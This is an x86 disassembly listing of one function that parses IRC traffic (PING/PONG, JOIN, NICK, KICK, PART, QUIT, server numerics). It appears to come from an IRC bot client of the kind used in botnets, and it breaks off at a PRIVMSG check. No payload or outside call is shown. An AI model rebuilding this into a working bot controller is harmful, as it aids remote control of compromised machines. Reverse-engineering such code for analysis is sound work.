var_4EF0	= byte ptr -4EF0h
var_4DF0	= byte ptr -4DF0h
var_4CF0	= byte ptr -4CF0h
var_4BF0	= byte ptr -4BF0h
var_4AF0	= byte ptr -4AF0h
var_48F0	= byte ptr -48F0h
var_47EC	= byte ptr -47ECh
var_46EC	= byte ptr -46ECh
var_45EC	= dword	ptr -45ECh
var_4588	= byte ptr -4588h
Str		= byte ptr -4488h
var_4288	= byte ptr -4288h
var_4188	= byte ptr -4188h
var_4088	= byte ptr -4088h
var_3F88	= dword	ptr -3F88h
var_3F84	= byte ptr -3F84h
var_3F04	= byte ptr -3F04h
var_3E00	= byte ptr -3E00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= dword	ptr -3CE8h
var_3CE4	= byte ptr -3CE4h
var_3C64	= byte ptr -3C64h
var_3BE4	= byte ptr -3BE4h
var_3B64	= byte ptr -3B64h
var_3AE4	= byte ptr -3AE4h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= dword	ptr -3A58h
var_3A54	= byte ptr -3A54h
var_37CD	= byte ptr -37CDh
var_37CC	= byte ptr -37CCh
var_36C8	= dword	ptr -36C8h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B4	= dword	ptr -36B4h
var_36AC	= dword	ptr -36ACh
var_36A8	= dword	ptr -36A8h
var_36A4	= byte ptr -36A4h
var_3624	= byte ptr -3624h
var_35A4	= byte ptr -35A4h
var_3524	= byte ptr -3524h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= dword	ptr -3494h
var_3490	= byte ptr -3490h
var_3410	= byte ptr -3410h
var_3390	= byte ptr -3390h
var_3310	= byte ptr -3310h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= dword	ptr -3280h
var_327C	= byte ptr -327Ch
var_31FC	= byte ptr -31FCh
var_317C	= byte ptr -317Ch
var_30FC	= byte ptr -30FCh
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= dword	ptr -306Ch
var_3068	= byte ptr -3068h
var_2FE8	= byte ptr -2FE8h
var_2F68	= byte ptr -2F68h
var_2EE8	= byte ptr -2EE8h
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= dword	ptr -2E5Ch
Filename	= byte ptr -2E58h
var_2D54	= dword	ptr -2D54h
var_2D50	= byte ptr -2D50h
var_2C4C	= byte ptr -2C4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= dword	ptr -2B40h
var_2B3C	= byte ptr -2B3Ch
var_2ABC	= dword	ptr -2ABCh
var_2AB8	= dword	ptr -2AB8h
var_2AB4	= dword	ptr -2AB4h
var_2AB0	= dword	ptr -2AB0h
var_2AA8	= byte ptr -2AA8h
var_2990	= byte ptr -2990h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= dword	ptr -28FCh
var_28F8	= byte ptr -28F8h
var_2878	= byte ptr -2878h
var_2778	= byte ptr -2778h
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= dword	ptr -2654h
var_2650	= byte ptr -2650h
var_25D0	= byte ptr -25D0h
var_24D0	= byte ptr -24D0h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= dword	ptr -23ACh
var_23A8	= byte ptr -23A8h
var_2328	= byte ptr -2328h
var_22A8	= byte ptr -22A8h
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= dword	ptr -2218h
var_2214	= byte ptr -2214h
var_2194	= byte ptr -2194h
var_2114	= byte ptr -2114h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= dword	ptr -2084h
var_2080	= byte ptr -2080h
var_2000	= byte ptr -2000h
var_1F80	= byte ptr -1F80h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= dword	ptr -1EF0h
var_1EEC	= byte ptr -1EECh
var_1DEC	= byte ptr -1DECh
var_1D6C	= dword	ptr -1D6Ch
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D50	= dword	ptr -1D50h
var_1D48	= byte ptr -1D48h
var_1D34	= byte ptr -1D34h
var_1C30	= byte ptr -1C30h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B9C	= dword	ptr -1B9Ch
var_1B94	= byte ptr -1B94h
var_1B80	= byte ptr -1B80h
var_1A7C	= byte ptr -1A7Ch
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= dword	ptr -19E8h
var_19E4	= byte ptr -19E4h
var_1964	= byte ptr -1964h
var_1924	= byte ptr -1924h
var_1824	= dword	ptr -1824h
var_1820	= dword	ptr -1820h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= dword	ptr -180Ch
var_1808	= byte ptr -1808h
var_17D0	= byte ptr -17D0h
var_17B4	= byte ptr -17B4h
var_177C	= byte ptr -177Ch
var_1778	= byte ptr -1778h
var_16F8	= byte ptr -16F8h
var_16B8	= byte ptr -16B8h
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= dword	ptr -1618h
var_1614	= byte ptr -1614h
var_1594	= byte ptr -1594h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= dword	ptr -1508h
var_1504	= byte ptr -1504h
var_14F4	= byte ptr -14F4h
var_1474	= byte ptr -1474h
var_13F4	= dword	ptr -13F4h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= dword	ptr -13D8h
var_13D4	= byte ptr -13D4h
var_1354	= byte ptr -1354h
var_12D4	= byte ptr -12D4h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1238	= dword	ptr -1238h
var_1230	= byte ptr -1230h
var_11B0	= byte ptr -11B0h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1128	= dword	ptr -1128h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_108C	= byte ptr -108Ch
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= dword	ptr -0FECh
var_FE8		= byte ptr -0FE8h
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= dword	ptr -0F58h
var_F54		= byte ptr -0F54h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= dword	ptr -0EC4h
var_EC0		= byte ptr -0EC0h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= dword	ptr -0E34h
var_E30		= byte ptr -0E30h
var_E10		= byte ptr -0E10h
var_E00		= byte ptr -0E00h
var_D80		= dword	ptr -0D80h
var_D7C		= byte ptr -0D7Ch
var_CFC		= byte ptr -0CFCh
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= dword	ptr -0C5Ch
var_C58		= dword	ptr -0C58h
var_C54		= byte ptr -0C54h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= byte ptr -0A94h
var_A14		= dword	ptr -0A14h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
Drive		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
Str1		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
Count		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
Dst		= byte ptr -2C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
SubStr		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
Args		= byte ptr -8Ch
Format		= dword	ptr -88h
Str2		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Src		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
Source		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
File		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 5D88h
		call	__alloca_probe
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C8], ebx
		call	_memset
		push	1Bh		; Count
		lea	eax, [ebp+Str1]
		push	[ebp+Source]	; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 18h
		cmp	[ebp+Src], ebx
		jz	loc_401E94
		push	esi		; Size
		lea	eax, [ebp+Str]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		dec	esi
		lea	eax, [ebp+Str]
		push	esi		; Count
		push	[ebp+Src]	; Source
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+Str]
		push	offset SubStr	; " :"
		push	eax		; Str
		call	_strstr
		mov	[ebp+var_C], eax
		lea	eax, [ebp+Str]
		push	esi		; Count
		push	eax		; Source
		lea	eax, [ebp+var_4AF0]
		push	eax		; Dest
		call	_strncpy
		mov	esi, offset asc_42D124 ; " "
		lea	eax, [ebp+var_4AF0]
		push	esi		; Delim
		push	eax		; Str
		call	_strtok
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+Args]
		mov	[ebp+var_A8], 1Fh


loc_401BA0:				; CODE XREF: sub_401ACD+E7j
		push	esi		; Delim
		push	ebx		; Str
		call	_strtok
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_401BA0
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401E94
		cmp	dword ptr [ebp+Args], ebx
		jz	loc_401E94
		push	100h		; Size
		lea	eax, [ebp+var_960]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_401BEE:				; CODE XREF: sub_401ACD+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C1A
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C22
		cmp	[eax+2], bl
		jnz	short loc_401C22
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_401C1A:				; CODE XREF: sub_401ACD+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401BEE


loc_401C22:				; CODE XREF: sub_401ACD+12Aj
					; sub_401ACD+12Fj
		cmp	[ebp+var_8ED], bl
		jz	short loc_401C2D
		mov	[ebp+var_8], edi


loc_401C2D:				; CODE XREF: sub_401ACD+15Bj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C3B
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_401C3B:				; CODE XREF: sub_401ACD+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C75
		push	7Fh		; Count
		lea	eax, [ebp+var_E00]
		push	esi		; Source
		push	eax		; Dest
		call	_strncpy
		lea	eax, [esi+1]
		push	17h		; Count
		push	eax		; Source
		lea	eax, [ebp+var_C4]
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+var_C4]
		push	offset Delim	; "!"
		push	eax		; Str
		call	_strtok
		add	esp, 20h


loc_401C75:				; CODE XREF: sub_401ACD+171j
		push	esi		; Str2
		push	offset aPing	; "PING"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CC6
		push	dword ptr [ebp+Args] ; Args
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409A2D
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D6A
		push	[ebp+arg_C]
		push	[ebp+arg_8]	; Args
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409A2D
		add	esp, 10h
		jmp	loc_401D6A
; ---------------------------------------------------------------------------


loc_401CC6:				; CODE XREF: sub_401ACD+1B7j
		mov	esi, dword ptr [ebp+Args]
		push	esi		; Str2
		push	offset a001	; "001"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E1
		push	esi		; Str2
		push	offset a005	; "005"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E1
		push	esi		; Str2
		push	offset a302_0	; "302"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D2E
		push	offset a@	; "@"
		push	[ebp+Str2]	; Str
		call	_strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D6A
		inc	eax
		push	9Fh		; Count
		push	eax		; Source
		push	[ebp+arg_1C]	; Dest
		call	_strncpy
		jmp	short loc_401D67
; ---------------------------------------------------------------------------


loc_401D2E:				; CODE XREF: sub_401ACD+238j
		push	esi		; Str2
		push	offset a433	; "433"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D71
		push	ebx		; Str1
		push	dword_4290A0	; int
		push	dword_42909C	; int
		push	[ebp+Source]	; Dest
		call	sub_40B08E
		add	esp, 10h
		push	[ebp+Source]	; Args
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409A2D


loc_401D67:				; CODE XREF: sub_401ACD+25Fj
		add	esp, 0Ch


loc_401D6A:				; CODE XREF: sub_401ACD+1D8j
					; sub_401ACD+1F4j ...
		mov	eax, edi
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_401D71:				; CODE XREF: sub_401ACD+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 3
		mov	edi, 80h


loc_401D83:				; CODE XREF: sub_401ACD+2DBj
		lea	eax, [ebp+var_E00]
		push	eax		; Str2
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DA0
		mov	[ebp+var_A4], 1


loc_401DA0:				; CODE XREF: sub_401ACD+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_401D83
		mov	esi, dword ptr [ebp+Args]
		push	esi		; Str2
		push	offset aKick	; "KICK"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E9C
		mov	esi, [ebp+arg_18]
		mov	[ebp+File], 3


loc_401DCF:				; CODE XREF: sub_401ACD+392j
		cmp	[esi], bl
		jz	loc_401E5A
		push	7Fh		; Count
		lea	eax, [ebp+var_E00]
		push	esi		; Source
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E5A
		cmp	[ebp+Str2], ebx
		jz	short loc_401E5A
		push	[ebp+Str2]	; Str2
		lea	eax, [ebp+var_C4]
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E5A
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_42D0B4 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax		; Args
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409A2D
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_4151AD
		add	esp, 14h


loc_401E5A:				; CODE XREF: sub_401ACD+304j
					; sub_401ACD+324j ...
		add	esi, edi
		dec	[ebp+File]
		jnz	loc_401DCF
		push	[ebp+Str2]	; Str2
		push	[ebp+Source]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E94
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]	; Args
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_401E89:				; CODE XREF: sub_401ACD+612j
					; sub_401ACD+8D5j ...
		push	[ebp+arg_4]	; int
		call	sub_409A2D


loc_401E91:				; CODE XREF: sub_401ACD+253Cj
					; sub_401ACD+2559j ...
		add	esp, 10h


loc_401E94:				; CODE XREF: sub_401ACD+5Bj
					; sub_401ACD+F1j ...
		push	1


loc_401E96:				; CODE XREF: sub_401ACD+2A62j
		pop	eax


loc_401E97:				; CODE XREF: sub_401ACD+29Fj
					; sub_401ACD+2A84j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401E9C:				; CODE XREF: sub_401ACD+2F2j
		push	esi		; Str2
		push	offset aNick	; "NICK"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FF2
		mov	eax, [ebp+Format]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+Src], 3
		mov	[ebp+File], eax


loc_401EC5:				; CODE XREF: sub_401ACD+44Aj
		lea	eax, [ebp+var_E00]
		push	eax		; Str2
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F12
		lea	eax, [ebp+var_E00]
		push	21h		; Val
		push	eax		; Str
		call	_strchr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401F12
		push	[ebp+File]	; Source
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax		; Dest
		call	_strcpy
		push	[ebp+arg_1C]	; Source
		push	edi		; Dest
		call	_strcat
		add	esp, 10h
		mov	edi, 80h


loc_401F12:				; CODE XREF: sub_401ACD+409j
					; sub_401ACD+420j
		add	esi, edi
		dec	[ebp+Src]
		jnz	short loc_401EC5
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	loc_401E94
		cmp	[ebp+File], ebx
		jz	loc_401E94
		push	[ebp+Source]	; Str2
		lea	eax, [ebp+var_C4]
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F5A
		push	0Fh		; Count
		push	[ebp+File]	; Source
		push	[ebp+Source]	; Dest
		call	_strncpy


loc_401F52:				; CODE XREF: sub_401ACD+1C36j
		add	esp, 0Ch
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401F5A:				; CODE XREF: sub_401ACD+476j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_401F5F:				; CODE XREF: sub_401ACD+4B3j
		cmp	[edi], bl
		jz	short loc_401F76
		lea	eax, [ebp+var_E00]
		push	eax		; Str2
		push	edi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F87


loc_401F76:				; CODE XREF: sub_401ACD+494j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401F5F
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401F87:				; CODE XREF: sub_401ACD+4A7j
		lea	eax, [ebp+var_E00]
		push	21h		; Val
		push	eax		; Str
		call	_strchr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+Src], eax
		jz	loc_401E94
		push	eax		; Str
		call	_strlen
		push	[ebp+File]	; Str
		mov	edi, eax
		call	_strlen
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_401E94
		push	[ebp+Src]
		shl	esi, 7
		push	[ebp+File]
		add	esi, [ebp+arg_18]
		push	offset aSS_1	; ":%s%s"
		push	esi		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+var_45EC]
		push	ebx		; int
		push	eax		; int
		push	[ebp+arg_8]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409A73
		add	esp, 24h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401FF2:				; CODE XREF: sub_401ACD+3DEj
		push	esi		; Str2
		push	offset aPart	; "PART"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402014
		push	esi		; Str2
		push	offset aQuit	; "QUIT"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40203B


loc_402014:				; CODE XREF: sub_401ACD+534j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_402019:				; CODE XREF: sub_401ACD+56Cj
		cmp	[edi], bl
		jz	short loc_40202F
		push	[ebp+var_90]	; Str2
		push	edi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402083


loc_40202F:				; CODE XREF: sub_401ACD+54Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402019


loc_40203B:				; CODE XREF: sub_401ACD+545j
		push	dword ptr [ebp+Args] ; Str2
		push	offset a353	; "353"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020E4
		push	[ebp+var_80]	; Str2
		push	[ebp+arg_8]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40206F
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_40206F:				; CODE XREF: sub_401ACD+597j
		push	[ebp+var_80]	; Args
		push	offset asc_42D060 ; "-"


loc_402077:				; CODE XREF: sub_401ACD+28CDj
					; sub_401ACD+2C4Dj ...
		call	sub_415221


loc_40207C:				; CODE XREF: sub_401ACD+1BE2j
		pop	ecx


loc_40207D:				; CODE XREF: sub_401ACD+7B70j
		pop	ecx
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402083:				; CODE XREF: sub_401ACD+560j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_42D03C ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_4151AD
		push	dword ptr [ebp+Args] ; Str2
		push	offset aPart	; "PART"
		call	_strcmp
		add	esp, 18h
		test	eax, eax
		jnz	loc_401E94
		lea	eax, [ebp+Dst]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4020E4:				; CODE XREF: sub_401ACD+582j
		push	dword ptr [ebp+Args] ; Str2
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi		; Str1
		call	_strcmp
		pop	ecx
